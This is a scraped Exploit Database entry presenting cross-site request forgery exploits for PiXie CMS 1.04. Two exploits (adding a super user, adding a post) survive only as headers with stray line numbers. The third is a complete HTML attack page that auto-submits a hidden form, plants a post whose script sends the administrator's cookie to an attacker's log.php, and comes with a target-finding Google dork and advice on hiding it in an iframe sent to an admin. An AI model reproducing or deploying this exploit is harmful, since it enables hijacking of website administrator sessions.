PiXie CMS 1.04 – Multiple Cross-Site Request Forgery Vulnerabilities

Exploit Database
119 阅读

作者： Ali Raheem

日期： 2010-12-29
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/15850/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

Add Super User:

<html>

<!--

# Exploit Title: PiXie CMS v1.04 <= CSRF Add Super User

# Google Dork: allintext: "Pixie Powered"

# Date: 28/12/2010

# Author: Ali Raheem (AKA wolfmankurd)

# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip

# Version: <=1.04

# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux

Note : Repace site and path,

USERNAME no spaces,

REALNAME with a name,

EMAIL with a valid email you get login details

-->

</form>

</body>

</html>

Add Post:

<html>

<!--

# Exploit Title: PiXie CMS v1.04 <= CSRF Add Post

# Google Dork: allintext: "Pixie Powered"

# Date: 28/12/2010

# Author: Ali Raheem (AKA wolfmankurd)

# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip

# Version: <=1.04

# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux

# Note: Replace SITE_AND_PATH

Have a look at the form and set title, content, tags and Author to whatever you want.

-->

</form>

</body>

</html>

# Exploit Title: PiXie CMS v1.04 CSRF to hidden cookie steal

Needs to be modified for clean URLS.

Place this on your server and replace SITE_AND_PATH with the location of the Pixie CMS.

Then point COOKIE_STEALER_SITE at a cookie stealer I've called it log.php and it GETs then logs the data variable. (https://github.com/Spyware/The-Toolkit/blob/master/recon/multi/cookie-stealer/log.php works) along with a writable log file called log.

Now include this in a secret (make it small and hidden) iframe in a link and send it to an Admin.

How this works, the little iframe first causes the admin to secretly post a new blog article (dated in the year 2000 so it wont be on the front page, maybe even make it non-public). Then redirects him to it. This article steals his cookie. We can do this because of predictable permalinks.

All this happens in seconds in a possibly hidden iframe. The only evidence? It will be in his latest actions log and the blog post (which will hopefully be hidden deep in the archives).

-->

<body

onload='document.pwn.submit();location="http://SITE_AND_PATH/?s=blog&m=permalink&x=__stealer"'>

<form accept-charset="UTF-8"

action="http://SITE_AND_PATH/admin/?s=publish&m=dynamic&x=blog&page=1"

method="post" name="pwn" id="form_addedit" class="form">

<input type="hidden" class="form_text" name="post_id" value=""

maxlength="11" />

<input type="hidden" class="form_text" name="page_id" value="3"

maxlength="11" />

<input type="hidden" class="form_text" name="time" value="16:06"

size="5" maxlength="5" />

<input type="hidden" class="form_text" name="title" id="title"

value="__stealer" />

<input type="hidden" name="content" id="content" cols="50"

value="<img src='https://www.exploit-db.com/exploits/15850/' name='stealer'>

document.stealer.src='https://www.exploit-db.com/exploits/15850/COOKIE_STEALER_SITE/log.php?data='+document.cookie;

</script>

<input type="hidden" class="form_text" name="tags" id="tags"

value="Hack"/>

<input type="hidden" type="radio" name="comments" id="comments"

value="yes" />

<input type="hidden" class="form_text" name="author" value="AUTHOR"

maxlength="64" />

<input type="hidden" class="form_text" name="last_modified"

value="20101228160628" />

<input type="hidden" class="form_text" name="post_views" value=""

maxlength="99" />

<input type="hidden" class="form_text" name="post_slug" value=""

maxlength="255" />

<input type="hidden" name="submit_new" class="submit" value="Save"

type="submit"/>

</form>

</body>

</html>